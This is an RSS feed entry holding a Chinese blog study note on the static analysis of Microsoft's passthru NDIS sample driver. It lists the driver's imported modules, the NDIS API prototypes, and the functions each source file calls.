﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-iniwf-随笔分类-驱动</title><link>http://www.cppblog.com/iniwf/category/9823.html</link><description>风是温柔的，雨是伤心的，云是快乐的，月是多情的，爱是迷失的，恋是醉人的，情是难忘的，天是长久的，地是永恒的</description><language>zh-cn</language><lastBuildDate>Mon, 19 Apr 2010 18:51:05 GMT</lastBuildDate><pubDate>Mon, 19 Apr 2010 18:51:05 GMT</pubDate><ttl>60</ttl><item><title>内核反编译学习笔记6 passthru静态分析</title><link>http://www.cppblog.com/iniwf/archive/2010/04/18/112927.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sun, 18 Apr 2010 11:26:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2010/04/18/112927.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/112927.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2010/04/18/112927.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/112927.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/112927.html</trackback:ping><description><![CDATA[内核反编译学习笔记6
<p>passthru静态分析</p>
<p>来源：passthru.sys反汇编和源代码</p>
<p>一，导入的模块<br>二，模块要使用的函数<br>三，函数原型<br>四，文件中函数列表</p>
<p>有源代码，反汇编比源代码更简洁，特别是总揽方面，有优势。<br>有兴趣的话，可以把汇编和代码对应。我已经把函数内调用函数都罗列了。</p>
<p>////////////////////////////////////////////////</p>
<p>一，导入三个模块：<br>import Module:ntoskrnl.exe<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> HAL.dll<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NDIS.SYS</p>
<p>//////////////////////////////////////////////</p>
<p>二，每个模块导出函数：<br>我们有函数名，就可以bp 模块！函数&nbsp;<wbr> 下断了。<br>有的函数是被宏调用的，具体可以查看ndis.h中宏的定义。</p>
<p>ntoskrnl.exe:<br>KeBugCheckEx<br>KeTickCount<br>IoGetDeviceProperty<br>RtlCopyUnicodeString<br>RtlAppendUnicodeToString<wbr><br>IoCreateDevice<br>_vsnprint f<br>MmMapLockedPagesSpecifyC<wbr>ache<br>IoDeleteDevice<br>memcpy<br>IofCompleteRequest<br>memset<br>RtlInitUnicodeString<br>DbgPring<br>RtlAssert<br>RtlUnwind</p>
<p>HAL.dll:<br>KfReleaseSpinLock<br>KfAcquireSpinLock</p>
<p>接下来是重点了，ndis专用函数<br>NDIS.SYS:</p>
<p><br>NdisIMNotifyPnPEvent<br>NdisGetReceivedPacket<br>NdisDprAllocatePacket<br>NdisDprFreePacket<br>NdisDeregisterProtocol<br>NdisIMCancelInitializeDe<wbr>viceInstance<br>NdisReEnumerateProtocolB<wbr>indings<br>NdisFreeMemory<br>NdisOpenProtocolConfigur<wbr>ation<br>NdisReadConfiguration<br>NdisAllocateMemoryWithTa<wbr>g<br>NdisInitializeEvent<br>NdisAllocatePacketPoolEx<wbr><br>NdisPacketPoolUsage<br>NdisIMDeInitializeDevice<wbr>Instance<br>NdisCloseAdapter<br>NdisSetEvent<br>NdisMSetAttributesEx<br>NdisIMGetDeviceContext<br>NdisFreePacket<br>NdisIMCopySendCompletePe<wbr>rPacketInfo<br>NdisIMCopySendPerPacketI<wbr>nfo<br>NdisAllocatePacket<br>NdisIMGetCurrentPacketSt<wbr>ack<br>NdisRequest<br>NdisMIndicateStatusCompl<wbr>ete<br>NdisMIndicateStatus<br>NdisReturnPackets<br>NdisGetPoolFromPacket<br>NdisWaitEvent<br>NdisResetEvent<br>NdisCancelSendPackets<br>NdisFreePacketPool<br>NdisTerminateWrapper<br>NdisIMAssociateMiniport<br>NdisIMDeregisterLayeredM<wbr>iniport<br>NdisRegisterProtocol<br>NdisMRegisterUnloadHandl<wbr>er<br>NdisIMRegisterLayeredMin<wbr>iport<br>NdisInitializeWrapper<br>NdisMRegisterDevice<br>NdisMSleep<br>NdisMDeregisterDevice<br>NdisCloseConfiguration<br>NdisIMInitializeDeviceIn<wbr>stanceEx<br>NdisOpenAdapter</p>
<p>/////////////////////////////////////<br>三，函数原型：呵呵</p>
<p>NDIS_STATUS&nbsp;<wbr> NdisIMNotifyPnPEvent(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN&nbsp;<wbr> NDIS_HANDLE&nbsp;<wbr> MiniportHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN&nbsp;<wbr> PNET_PNP_EVENT&nbsp;<wbr> NetPnPEvent&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>PNDIS_PACKET&nbsp;<wbr>&nbsp;<wbr> NdisGetReceivedPacket(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_HANDLE&nbsp;<wbr> NdisBindingHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_HANDLE&nbsp;<wbr> MacContext&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisDprAllocatePacket(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_PACKET&nbsp;<wbr> *Packet,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> PoolHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisDprFreePacket(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> Packet&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_STATUS&nbsp;<wbr>&nbsp;<wbr> NdisIMCancelInitializeDe<wbr>viceInstance(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> DriverHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_STRING&nbsp;<wbr> DeviceInstance&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisReEnumerateProtocolB<wbr>indings(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisProtocolHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisFreeMemory(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PVOID&nbsp;<wbr> VirtualAddress,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> Length,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> MemoryFlags&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisOpenProtocolConfigur<wbr>ation(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_HANDLE&nbsp;<wbr> ConfigurationHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_STRING&nbsp;<wbr> ProtocolSection&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisReadConfiguration(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_CONFIGURATION_PARAMETER&nbsp;<wbr> *ParameterValue,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> ConfigurationHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_STRING&nbsp;<wbr> Keyword,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_PARAMETER_TYPE&nbsp;<wbr> ParameterType&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_STATUS&nbsp;<wbr> NdisAllocateMemoryWithTa<wbr>g(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PVOID&nbsp;<wbr> *VirtualAddress,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> Length,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN ULONG&nbsp;<wbr> Tag&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisInitializeEvent(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_EVENT&nbsp;<wbr> Event&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisAllocatePacketPoolEx<wbr>(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_HANDLE&nbsp;<wbr> PoolHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> NumberOfDescriptors,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> NumberOfOverflowDescript<wbr>ors,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> ProtocolReservedLength&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>UINT&nbsp;<wbr> NdisPacketPoolUsage(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> PoolHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_STATUS&nbsp;<wbr> NdisIMDeInitializeDevice<wbr>Instance(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisMiniportHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisCloseAdapter(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisBindingHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisSetEvent(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_EVENT&nbsp;<wbr> Event&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr>&nbsp;<wbr> NdisMSetAttributesEx(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE MiniportAdapterHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE MiniportAdapterContext,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> CheckForHangTimeInSecond<wbr>s&nbsp;<wbr> OPTIONAL,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN ULONG&nbsp;<wbr> AttributeFlags,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_INTERFACE_TYPE AdapterType&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_HANDLE&nbsp;<wbr> NdisIMGetDeviceContext(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> MiniportAdapterHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisFreePacket(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> Packet&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisIMCopySendCompletePe<wbr>rPacketInfo(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> DstPacket,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> SrcPacket&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisIMCopySendPerPacketI<wbr>nfo(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> DstPacket,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> SrcPacket&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisAllocatePacket(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_PACKET&nbsp;<wbr> *Packet,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> PoolHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>PNDIS_PACKET_STACK&nbsp;<wbr> NdisIMGetCurrentPacketSt<wbr>ack(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> Packet&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT BOOLEAN&nbsp;<wbr> *StacksRemaining&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisRequest(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisBindingHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_REQUEST&nbsp;<wbr> NdisRequest&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateStatusCompl<wbr>ete(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> MiniportAdapterHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr>&nbsp;<wbr> NdisMIndicateStatus(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> MiniportAdapterHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_STATUS&nbsp;<wbr> GeneralStatus,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PVOID&nbsp;<wbr> StatusBuffer,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> StatusBufferSize&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisReturnPackets(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> *PacketsToReturn,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> NumberOfPackets&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_Handle&nbsp;<wbr> NdisGetPoolFromPacket(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PACKET&nbsp;<wbr> Packet&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>BOOLEAN&nbsp;<wbr> NdisWaitEvent(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_EVENT&nbsp;<wbr> Event,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> MsToWait&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisResetEvent(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_EVENT&nbsp;<wbr> Event&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisCancelSendPackets(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisBindingHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PVOID&nbsp;<wbr> CancelId&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisFreePacketPool(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> PoolHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisTerminateWrapper(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisWrapperHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PVOID&nbsp;<wbr> SystemSpecific&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisIMAssociateMiniport(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> DriverHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> ProtocolHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr>&nbsp;<wbr> NdisIMDeregisterLayeredM<wbr>iniport(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> DriverHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisRegisterProtocol(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_HANDLE&nbsp;<wbr> NdisProtocolHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_PROTOCOL_CHARACTERISTICS&nbsp;<wbr> ProtocolCharacteristics,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> CharacteristicsLength&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisMRegisterUnloadHandl<wbr>er(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisWrapperHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PDRIVER_UNLOAD&nbsp;<wbr> UnloadHandler&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_STATUS&nbsp;<wbr> NdisIMRegisterLayeredMin<wbr>iport(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisWrapperHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_MINIPORT_CHARACTERISTICS&nbsp;<wbr> MiniportCharacteristics,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> CharacteristicsLength,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_HANDLE&nbsp;<wbr> DriverHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>&nbsp;<wbr></p>
<p>NDIS_STATUS&nbsp;<wbr> NdisMRegisterDevice(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisWrapperHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_STRING&nbsp;<wbr> DeviceName,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_STRING&nbsp;<wbr> SymbolicName,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PDRIVER_DISPATCH&nbsp;<wbr> MajorFunctions[],&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PDEVICE_OBJECT&nbsp;<wbr> *pDeviceObject,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT NDIS_HANDLE&nbsp;<wbr> *NdisDeviceHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisMSleep(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN ULONG&nbsp;<wbr> MicrosecondsToSleep&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_STATUS&nbsp;<wbr> NdisMDeregisterDevice(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisDeviceHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisCloseConfiguration(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> ConfigurationHandle&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>NDIS_STATUS&nbsp;<wbr> NdisIMInitializeDeviceIn<wbr>stanceEx(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> DriverHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_STRING&nbsp;<wbr> DriverInstance,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> DeviceContext&nbsp;<wbr> OPTIONAL&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>VOID&nbsp;<wbr> NdisOpenAdapter(&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> Status,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_STATUS&nbsp;<wbr> OpenErrorStatus,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PNDIS_HANDLE&nbsp;<wbr> NdisBindingHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> OUT PUINT&nbsp;<wbr> SelectedMediumIndex,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_MEDIUM&nbsp;<wbr> MediumArray,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> MediumArraySize,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> NdisProtocolHandle,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN NDIS_HANDLE&nbsp;<wbr> ProtocolBindingContext,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PNDIS_STRING&nbsp;<wbr> AdapterName,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN UINT&nbsp;<wbr> OpenOptions,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IN PSTRING&nbsp;<wbr> AddressingInformation&nbsp;<wbr> OPTIONAL,&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> );</p>
<p>&nbsp;<wbr></p>
<p>///////////////////////////////////////</p>
<p>四，文件中函数列表<br>常用的就不在函数内罗列了<br>NdisZeroMemory<br>NdisMoveMemory<br>NdisFreeMemory<br>NdisMSleep<br>NdisInitUnicodeString<br>NdisAcquireSpinLock<br>NdisReleaseSpinLock<br>NdisFreeSpinLock<br>&nbsp;<wbr></p>
<p><br>1，passthru.c:<br>&nbsp;<wbr>&nbsp;<wbr> DriverEntry<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> 其中大概用了下面这些：<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisAllocateSpinLock<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMInitializeWrapper<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMRegisterLayeredMin<wbr>iport<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisRegisterProtocol<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMAssociateMiniport<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr></p>
<p>&nbsp;<wbr>&nbsp;<wbr> PtRegisterDevice</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMRegisterDevice<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtDispatch<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IoGetCurrentIrpStackLoca<wbr>tion<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> IoCompleteRequest<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtDeregisterDevice</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> PtUnload<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtUnloadProtocol<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMDeregisterLayeredM<wbr>iniport</p>
<p>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>2，miniport.c<br>&nbsp;<wbr>&nbsp;<wbr> MPInitialize<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMSetAttributesEx<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtRegisterDevice<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisSetEvent</p>
<p>&nbsp;<wbr>&nbsp;<wbr> MPSend<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMGetCurrentPacketSt<wbr>ack<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisSend<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisAllocatePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisFreePacket<br>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPSendPackets<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisMSendComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMGetCurrentPacketSt<wbr>ack<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisSend<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisAllocatePacket<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisGetPacketFlags<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisIMCopySendPerPacketI<wbr>nfo<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> MPQueryInformation<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> NdisRequest<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr> PtRequestComplete<br>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr><br>&nbsp;<wbr>&nbsp;<wbr> 